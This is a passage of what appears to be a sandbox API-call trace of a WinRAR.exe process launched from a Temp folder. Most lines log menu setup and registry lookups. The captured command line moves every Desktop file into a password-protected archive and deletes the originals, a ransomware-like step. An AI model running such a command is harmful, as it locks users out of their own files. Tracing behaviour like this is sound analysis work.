SetMenuItemInfoW (hmenu=0x101e7, item=0x7, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.251] GetMenuItemInfoW (in: hmenu=0x101e7, item=0x8, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.251] SetMenuItemInfoW (hmenu=0x101e7, item=0x8, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.251] GetMenuItemInfoW (in: hmenu=0x101e7, item=0x9, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.251] SetMenuItemInfoW (hmenu=0x101e7, item=0x9, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.251] GetMenuItemInfoW (in: hmenu=0x101e7, item=0xa, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.251] SetMenuItemInfoW (hmenu=0x101e7, item=0xa, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.251] GetMenuItemInfoW (in: hmenu=0x101e7, item=0xb, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 0 [0052.251] GetMenuItemInfoW (in: hmenu=0x101df, item=0x3, fByPosition=1, lpmii=0x1d9a30 | out: lpmii=0x1d9a30) returned 1 [0052.251] SetMenuItemInfoW (hmenu=0x101df, item=0x3, fByPositon=1, lpmii=0x1d9a30) returned 1 [0052.251] GetMenuItemInfoW (in: hmenu=0x101e9, item=0x0, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.251] SetMenuItemInfoW (hmenu=0x101e9, item=0x0, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.251] GetMenuItemInfoW (in: hmenu=0x101e9, item=0x1, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.251] SetMenuItemInfoW (hmenu=0x101e9, item=0x1, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.251] GetMenuItemInfoW (in: hmenu=0x101e9, item=0x2, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.251] GetMenuItemInfoW (in: hmenu=0x101e9, item=0x3, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 0 [0052.251] GetMenuItemInfoW (in: hmenu=0x101df, item=0x4, fByPosition=1, lpmii=0x1d9a30 | out: lpmii=0x1d9a30) returned 1 [0052.251] SetMenuItemInfoW (hmenu=0x101df, item=0x4, fByPositon=1, lpmii=0x1d9a30) returned 1 [0052.251] GetMenuItemInfoW (in: hmenu=0x101eb, item=0x0, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.251] SetMenuItemInfoW (hmenu=0x101eb, item=0x0, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.251] GetMenuItemInfoW (in: hmenu=0x101eb, item=0x1, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.251] SetMenuItemInfoW (hmenu=0x101eb, item=0x1, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.251] GetMenuItemInfoW (in: hmenu=0x101ed, item=0x0, fByPosition=1, lpmii=0x1d74b0 | out: lpmii=0x1d74b0) returned 1 [0052.251] SetMenuItemInfoW (hmenu=0x101ed, item=0x0, fByPositon=1, lpmii=0x1d74b0) returned 1 [0052.251] GetMenuItemInfoW (in: hmenu=0x101ed, item=0x1, fByPosition=1, lpmii=0x1d74b0 | out: lpmii=0x1d74b0) returned 1 [0052.252] SetMenuItemInfoW (hmenu=0x101ed, item=0x1, fByPositon=1, lpmii=0x1d74b0) returned 1 [0052.252] GetMenuItemInfoW (in: hmenu=0x101ed, item=0x2, fByPosition=1, lpmii=0x1d74b0 | out: lpmii=0x1d74b0) returned 1 [0052.252] GetMenuItemInfoW (in: hmenu=0x101ed, item=0x3, fByPosition=1, lpmii=0x1d74b0 | out: lpmii=0x1d74b0) returned 1 [0052.252] SetMenuItemInfoW (hmenu=0x101ed, item=0x3, fByPositon=1, lpmii=0x1d74b0) returned 1 [0052.252] GetMenuItemInfoW (in: hmenu=0x101ed, item=0x4, fByPosition=1, lpmii=0x1d74b0 | out: lpmii=0x1d74b0) returned 0 [0052.252] GetMenuItemInfoW (in: hmenu=0x101eb, item=0x2, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.252] GetMenuItemInfoW (in: hmenu=0x101eb, item=0x3, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.252] SetMenuItemInfoW (hmenu=0x101eb, item=0x3, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.252] GetMenuItemInfoW (in: hmenu=0x101ef, item=0x0, fByPosition=1, lpmii=0x1d74b0 | out: lpmii=0x1d74b0) returned 1 [0052.252] SetMenuItemInfoW (hmenu=0x101ef, item=0x0, fByPositon=1, lpmii=0x1d74b0) returned 1 [0052.252] GetMenuItemInfoW (in: hmenu=0x101ef, item=0x1, fByPosition=1, lpmii=0x1d74b0 | out: lpmii=0x1d74b0) returned 1 [0052.252] GetMenuItemInfoW (in: hmenu=0x101ef, item=0x2, fByPosition=1, lpmii=0x1d74b0 | out: lpmii=0x1d74b0) returned 1 [0052.252] SetMenuItemInfoW (hmenu=0x101ef, item=0x2, fByPositon=1, lpmii=0x1d74b0) returned 1 [0052.252] GetMenuItemInfoW (in: hmenu=0x101ef, item=0x3, fByPosition=1, lpmii=0x1d74b0 | out: lpmii=0x1d74b0) returned 1 [0052.252] SetMenuItemInfoW (hmenu=0x101ef, item=0x3, fByPositon=1, lpmii=0x1d74b0) returned 1 [0052.252] GetMenuItemInfoW (in: hmenu=0x101ef, item=0x4, fByPosition=1, lpmii=0x1d74b0 | out: lpmii=0x1d74b0) returned 0 [0052.252] GetMenuItemInfoW (in: hmenu=0x101eb, item=0x4, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.252] SetMenuItemInfoW (hmenu=0x101eb, item=0x4, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.252] GetMenuItemInfoW (in: hmenu=0x101f1, item=0x0, fByPosition=1, lpmii=0x1d74b0 | out: lpmii=0x1d74b0) returned 1 [0052.252] SetMenuItemInfoW (hmenu=0x101f1, item=0x0, fByPositon=1, lpmii=0x1d74b0) returned 1 [0052.252] GetMenuItemInfoW (in: hmenu=0x101f1, item=0x1, fByPosition=1, lpmii=0x1d74b0 | out: lpmii=0x1d74b0) returned 1 [0052.252] SetMenuItemInfoW (hmenu=0x101f1, item=0x1, fByPositon=1, lpmii=0x1d74b0) returned 1 [0052.252] GetMenuItemInfoW (in: hmenu=0x101f1, item=0x2, fByPosition=1, lpmii=0x1d74b0 | out: lpmii=0x1d74b0) returned 0 [0052.252] GetMenuItemInfoW (in: hmenu=0x101eb, item=0x5, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.252] SetMenuItemInfoW (hmenu=0x101eb, item=0x5, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.252] GetMenuItemInfoW (in: hmenu=0x101f3, item=0x0, fByPosition=1, lpmii=0x1d74b0 | out: lpmii=0x1d74b0) returned 1 [0052.252] SetMenuItemInfoW (hmenu=0x101f3, item=0x0, fByPositon=1, lpmii=0x1d74b0) returned 1 [0052.252] GetMenuItemInfoW (in: hmenu=0x101f3, item=0x1, fByPosition=1, lpmii=0x1d74b0 | out: lpmii=0x1d74b0) returned 1 [0052.252] SetMenuItemInfoW (hmenu=0x101f3, item=0x1, fByPositon=1, lpmii=0x1d74b0) returned 1 [0052.252] GetMenuItemInfoW (in: hmenu=0x101f3, item=0x2, fByPosition=1, lpmii=0x1d74b0 | out: lpmii=0x1d74b0) returned 1 [0052.252] GetMenuItemInfoW (in: hmenu=0x101f3, item=0x3, fByPosition=1, lpmii=0x1d74b0 | out: lpmii=0x1d74b0) returned 1 [0052.252] SetMenuItemInfoW (hmenu=0x101f3, item=0x3, fByPositon=1, lpmii=0x1d74b0) returned 1 [0052.252] GetMenuItemInfoW (in: hmenu=0x101f3, item=0x4, fByPosition=1, lpmii=0x1d74b0 | out: lpmii=0x1d74b0) returned 0 [0052.252] GetMenuItemInfoW (in: hmenu=0x101eb, item=0x6, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.252] SetMenuItemInfoW (hmenu=0x101eb, item=0x6, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.252] GetMenuItemInfoW (in: hmenu=0x101f5, item=0x0, fByPosition=1, lpmii=0x1d74b0 | out: lpmii=0x1d74b0) returned 1 [0052.252] GetMenuItemInfoW (in: hmenu=0x101f5, item=0x1, fByPosition=1, lpmii=0x1d74b0 | out: lpmii=0x1d74b0) returned 0 [0052.252] GetMenuItemInfoW (in: hmenu=0x101eb, item=0x7, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.252] GetMenuItemInfoW (in: hmenu=0x101eb, item=0x8, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.252] SetMenuItemInfoW (hmenu=0x101eb, item=0x8, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.252] GetMenuItemInfoW (in: hmenu=0x101eb, item=0x9, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.252] SetMenuItemInfoW (hmenu=0x101eb, item=0x9, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.252] GetMenuItemInfoW (in: hmenu=0x101eb, item=0xa, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 0 [0052.252] GetMenuItemInfoW (in: hmenu=0x101df, item=0x5, fByPosition=1, lpmii=0x1d9a30 | out: lpmii=0x1d9a30) returned 1 [0052.252] SetMenuItemInfoW (hmenu=0x101df, item=0x5, fByPositon=1, lpmii=0x1d9a30) returned 1 [0052.252] GetMenuItemInfoW (in: hmenu=0x101f7, item=0x0, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.252] SetMenuItemInfoW (hmenu=0x101f7, item=0x0, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.252] GetMenuItemInfoW (in: hmenu=0x101f7, item=0x1, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.252] GetMenuItemInfoW (in: hmenu=0x101f7, item=0x2, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.252] SetMenuItemInfoW (hmenu=0x101f7, item=0x2, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.252] GetMenuItemInfoW (in: hmenu=0x101f7, item=0x3, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.252] GetMenuItemInfoW (in: hmenu=0x101f7, item=0x4, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 1 [0052.252] SetMenuItemInfoW (hmenu=0x101f7, item=0x4, fByPositon=1, lpmii=0x1d8770) returned 1 [0052.253] GetMenuItemInfoW (in: hmenu=0x101f7, item=0x5, fByPosition=1, lpmii=0x1d8770 | out: lpmii=0x1d8770) returned 0 [0052.253] GetMenuItemInfoW (in: hmenu=0x101df, item=0x6, fByPosition=1, lpmii=0x1d9a30 | out: lpmii=0x1d9a30) returned 0 [0052.253] LoadStringW (in: hInstance=0x13f160000, uID=0x438, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="site name") returned 0x9 [0052.253] LoadStringW (in: hInstance=0x13f160000, uID=0x43a, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="site name 2") returned 0xb [0052.253] GetLastError () returned 0x5b0 [0052.253] SetLastError (dwErrCode=0x5b0) [0052.253] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x1, phkResult=0x1da030 | out: phkResult=0x1da030*=0x0) returned 0x2 [0052.253] GetLastError () returned 0x5b0 [0052.253] SetLastError (dwErrCode=0x5b0) [0052.253] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x9, phkResult=0x1da800 | out: phkResult=0x1da800*=0x0) returned 0x2 [0052.253] SetMenu (hWnd=0x201e6, hMenu=0x101df) returned 1 [0052.253] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x46, wParam=0x0, lParam=0x1dac70) returned 0x0 [0052.253] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x83, wParam=0x1, lParam=0x1dac40) returned 0x0 [0052.253] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x93, wParam=0x0, lParam=0x1d9340) returned 0x1 [0052.254] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x94, wParam=0x0, lParam=0x1d92e0) returned 0x0 [0052.265] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x94, wParam=0x0, lParam=0x1d92e0) returned 0x0 [0052.265] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x94, wParam=0x0, lParam=0x1d92e0) returned 0x0 [0052.265] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x94, wParam=0x0, lParam=0x1d92e0) returned 0x0 [0052.265] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x94, wParam=0x0, lParam=0x1d92e0) returned 0x0 [0052.265] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x94, wParam=0x0, lParam=0x1d92e0) returned 0x0 [0052.265] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x47, wParam=0x0, lParam=0x1dac70) returned 0x0 [0052.266] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x3, wParam=0x0, lParam=0xaf0085) returned 0x0 [0052.266] IsIconic (hWnd=0x201e6) returned 0 [0052.266] IsIconic (hWnd=0x201e6) returned 0 [0052.266] IsIconic (hWnd=0x201e6) returned 0 [0052.266] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x93, wParam=0x0, lParam=0x1da490) returned 0x1 [0052.266] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0052.266] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0052.266] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0052.267] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x83, wParam=0x1, lParam=0x1da5d0) returned 0x0 [0052.267] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x93, wParam=0x0, lParam=0x1d8cd0) returned 0x1 [0052.268] DrawMenuBar (hWnd=0x201e6) returned 1 [0052.268] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x46, wParam=0x0, lParam=0x1dac70) returned 0x0 [0052.268] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x83, wParam=0x1, lParam=0x1dac40) returned 0x0 [0052.268] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x93, wParam=0x0, lParam=0x1d9340) returned 0x1 [0052.268] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x47, wParam=0x0, lParam=0x1dac70) returned 0x0 [0052.268] NtdllDefWindowProc_W (hWnd=0x201e6, Msg=0x93, wParam=0x0, lParam=0x1da490) returned 0x1 [0052.268] GetLastError () returned 0x0 [0052.269] SetLastError (dwErrCode=0x0) [0052.269] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x1, phkResult=0x1da030 | out: phkResult=0x1da030*=0x0) returned 0x2 [0052.269] GetLastError () returned 0x0 [0052.269] SetLastError (dwErrCode=0x0) [0052.269] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x9, phkResult=0x1da800 | out: phkResult=0x1da800*=0x0) returned 0x2 [0052.269] GetLastError () returned 0x0 [0052.269] SetLastError (dwErrCode=0x0) [0052.269] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x1, phkResult=0x1da030 | out: phkResult=0x1da030*=0x0) returned 0x2 [0052.269] GetLastError () returned 0x0 [0052.269] SetLastError (dwErrCode=0x0) [0052.269] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x9, phkResult=0x1da800 | out: phkResult=0x1da800*=0x0) returned 0x2 [0052.269] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x8) returned 0x2c9940 [0052.269] RegisterDragDrop (hwnd=0x201e6, pDropTarget=0x2c9940) returned 0x0 [0052.270] GetLocalTime (in: lpSystemTime=0x13f2a9cd0 | out: lpSystemTime=0x13f2a9cd0*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0x10, wMinute=0x4, wSecond=0x10, wMilliseconds=0x191)) [0052.270] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0x1d5b40 | out: phkResult=0x1d5b40*=0x0) returned 0x2 [0052.270] SHGetMalloc (in: ppMalloc=0x1d5ae0 | out: ppMalloc=0x1d5ae0*=0x7fefe535380) returned 0x0 [0052.270] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x1d5b28 | out: ppidl=0x1d5b28) returned 0x0 [0052.270] SHGetPathFromIDListW (in: pidl=0x2e2450, pszPath=0x1d7c30 | out: pszPath="C:\\Users\\WhuOXYsD\\AppData\\Roaming") returned 1 [0052.270] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar")) returned 0x2010 [0052.270] IMalloc:Free (This=0x7fefe535380, pv=0x2e2450) [0052.270] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR\\rarreg.*", lpFindFileData=0x1d48e0 | out: lpFindFileData=0x1d48e0) returned 0xffffffffffffffff [0052.270] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR\\rarreg.*", lpFindFileData=0x1d48e0 | out: lpFindFileData=0x1d48e0) returned 0xffffffffffffffff [0052.270] GetLastError () returned 0x2 [0052.270] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1d7c30, nSize=0x800 | out: lpFilename="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.exe")) returned 0x2f [0052.270] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\rarreg.*", lpFindFileData=0x1d48e0 | out: lpFindFileData=0x1d48e0) returned 0xffffffffffffffff [0052.271] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\rarreg.*", lpFindFileData=0x1d48e0 | out: lpFindFileData=0x1d48e0) returned 0xffffffffffffffff [0052.271] GetLastError () returned 0x2 [0052.271] GetLastError () returned 0x2 [0052.271] SetLastError (dwErrCode=0x2) [0052.271] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x9, phkResult=0x1d8f90 | out: phkResult=0x1d8f90*=0x0) returned 0x2 [0052.271] GetLastError () returned 0x2 [0052.271] SetLastError (dwErrCode=0x2) [0052.271] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x9, phkResult=0x1d8f50 | out: phkResult=0x1d8f50*=0x17c) returned 0x0 [0052.271] RegQueryValueExW (in: hKey=0x17c, lpValueName="rarkey", lpReserved=0x0, lpType=0x1d93b4, lpData=0x1d9c90, lpcbData=0x1d93b0*=0x1000 | out: lpType=0x1d93b4*=0x0, lpData=0x1d9c90*=0x0, lpcbData=0x1d93b0*=0x1000) returned 0x2 [0052.271] RegCloseKey (hKey=0x17c) returned 0x0 [0052.271] GetCurrentProcess () returned 0xffffffffffffffff [0052.271] GetCurrentThread () returned 0xfffffffffffffffe [0052.271] GetPriorityClass (hProcess=0xffffffffffffffff) returned 0x20 [0052.271] GetThreadPriority (hThread=0xfffffffffffffffe) returned 0 [0052.271] GetLastError () returned 0x2 [0052.271] SetLastError (dwErrCode=0x2) [0052.271] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0x1dc490 | out: phkResult=0x1dc490*=0x17c) returned 0x0 [0052.271] RegQueryValueExW (in: hKey=0x17c, lpValueName="Priority", lpReserved=0x0, lpType=0x1dc8f4, lpData=0x1dc8f0, lpcbData=0x1dc928*=0x4 | out: lpType=0x1dc8f4*=0x0, lpData=0x1dc8f0*=0x1, lpcbData=0x1dc928*=0x4) returned 0x2 [0052.271] RegCloseKey (hKey=0x17c) returned 0x0 [0052.271] SetPriorityClass (hProcess=0xffffffffffffffff, dwPriorityClass=0x20) returned 1 [0052.272] SetThreadPriority (hThread=0xfffffffffffffffe, nPriority=0) returned 1 [0052.272] GetLastError () returned 0x2 [0052.272] SetLastError (dwErrCode=0x2) [0052.272] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x9, phkResult=0x1d9be0 | out: phkResult=0x1d9be0*=0x17c) returned 0x0 [0052.272] RegQueryValueExW (in: hKey=0x17c, lpValueName="rarreg.key", lpReserved=0x0, lpType=0x1da044, lpData=0x1db920, lpcbData=0x1da040*=0x1000 | out: lpType=0x1da044*=0x0, lpData=0x1db920*=0x0, lpcbData=0x1da040*=0x1000) returned 0x2 [0052.272] RegCloseKey (hKey=0x17c) returned 0x0 [0052.272] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0x1d7370 | out: phkResult=0x1d7370*=0x0) returned 0x2 [0052.272] SHGetMalloc (in: ppMalloc=0x1d7310 | out: ppMalloc=0x1d7310*=0x7fefe535380) returned 0x0 [0052.272] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x1d7358 | out: ppidl=0x1d7358) returned 0x0 [0052.272] SHGetPathFromIDListW (in: pidl=0x2e2450, pszPath=0x1d7520 | out: pszPath="C:\\Users\\WhuOXYsD\\AppData\\Roaming") returned 1 [0052.272] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar")) returned 0x2010 [0052.272] IMalloc:Free (This=0x7fefe535380, pv=0x2e2450) [0052.272] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0x1d7300 | out: phkResult=0x1d7300*=0x0) returned 0x2 [0052.272] SHGetMalloc (in: ppMalloc=0x1d72a0 | out: ppMalloc=0x1d72a0*=0x7fefe535380) returned 0x0 [0052.272] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x1d72e8 | out: ppidl=0x1d72e8) returned 0x0 [0052.272] SHGetPathFromIDListW (in: pidl=0x2e2450, pszPath=0x1d7520 | out: pszPath="C:\\Users\\WhuOXYsD\\AppData\\Roaming") returned 1 [0052.272] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar")) returned 0x2010 [0052.272] IMalloc:Free (This=0x7fefe535380, pv=0x2e2450) [0052.272] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR\\Settings.reg" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar\\settings.reg")) returned 0xffffffff [0052.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Roaming\\WinRAR\\Settings.reg" (normalized: "c:\\users\\whuoxysd\\appdata\\roaming\\winrar\\settings.reg")) returned 0xffffffff [0052.272] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1d7520, nSize=0x800 | out: lpFilename="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.exe")) returned 0x2f [0052.273] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Settings.reg" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\settings.reg")) returned 0xffffffff [0052.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Settings.reg" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\settings.reg")) returned 0xffffffff [0052.273] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Settings.reg" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\settings.reg")) returned 0xffffffff [0052.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\Settings.reg" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\settings.reg")) returned 0xffffffff [0052.273] GetCommandLineW () returned="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *" [0052.273] GetCommandLineW () returned="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *" [0052.273] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x64) returned 0x2b5ee0 [0052.273] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2b5ee0 | out: hHeap=0x290000) returned 1 [0052.273] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0xa) returned 0x2e2630 [0052.273] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2e2630 | out: hHeap=0x290000) returned 1 [0052.273] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0xa) returned 0x2e2630 [0052.273] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="cfg-", cchCount2=-1) returned 3 [0052.273] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="sc", cchCount2=2) returned 1 [0052.273] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2e2630 | out: hHeap=0x290000) returned 1 [0052.273] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x1e) returned 0x2df050 [0052.273] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="cfg-", cchCount2=-1) returned 3 [0052.273] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=2, lpString2="sc", cchCount2=2) returned 1 [0052.273] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2df050 | out: hHeap=0x290000) returned 1 [0052.273] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x14) returned 0x2e2630 [0052.273] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2e2630 | out: hHeap=0x290000) returned 1 [0052.273] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x8) returned 0x2c9950 [0052.273] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2c9950 | out: hHeap=0x290000) returned 1 [0052.273] GetLastError () returned 0x2 [0052.274] SetLastError (dwErrCode=0x2) [0052.274] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Extraction", ulOptions=0x0, samDesired=0x9, phkResult=0x1dc490 | out: phkResult=0x1dc490*=0x0) returned 0x2 [0052.274] GetMenu (hWnd=0x201e6) returned 0x101df [0052.274] GetSubMenu (hMenu=0x101df, nPos=4) returned 0x101eb [0052.274] GetSubMenu (hMenu=0x101eb, nPos=6) returned 0x101f5 [0052.274] DeleteMenu (hMenu=0x101f5, uPosition=0x0, uFlags=0x400) returned 1 [0052.274] LoadStringW (in: hInstance=0x13f160000, uID=0x67c, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="&Save current") returned 0xd [0052.274] InsertMenuW (hMenu=0x101f5, uPosition=0x0, uFlags=0x400, uIDNewItem=0xad, lpNewItem="&Save current") returned 1 [0052.274] LoadStringW (in: hInstance=0x13f160000, uID=0x67d, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="&Help") returned 0x5 [0052.274] InsertMenuW (hMenu=0x101f5, uPosition=0x1, uFlags=0x400, uIDNewItem=0xae, lpNewItem="&Help") returned 1 [0052.274] InsertMenuW (hMenu=0x101f5, uPosition=0x2, uFlags=0xc00, uIDNewItem=0x0, lpNewItem=0x0) returned 1 [0052.274] LoadStringW (in: hInstance=0x13f160000, uID=0x67e, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="&Default") returned 0x8 [0052.274] InsertMenuW (hMenu=0x101f5, uPosition=0x3, uFlags=0x400, uIDNewItem=0xaf, lpNewItem="&Default") returned 1 [0052.274] GetCPInfoExW (in: CodePage=0xfde9, dwFlags=0x0, lpCPInfoEx=0x1dc620 | out: lpCPInfoEx=0x1dc620) returned 1 [0052.287] 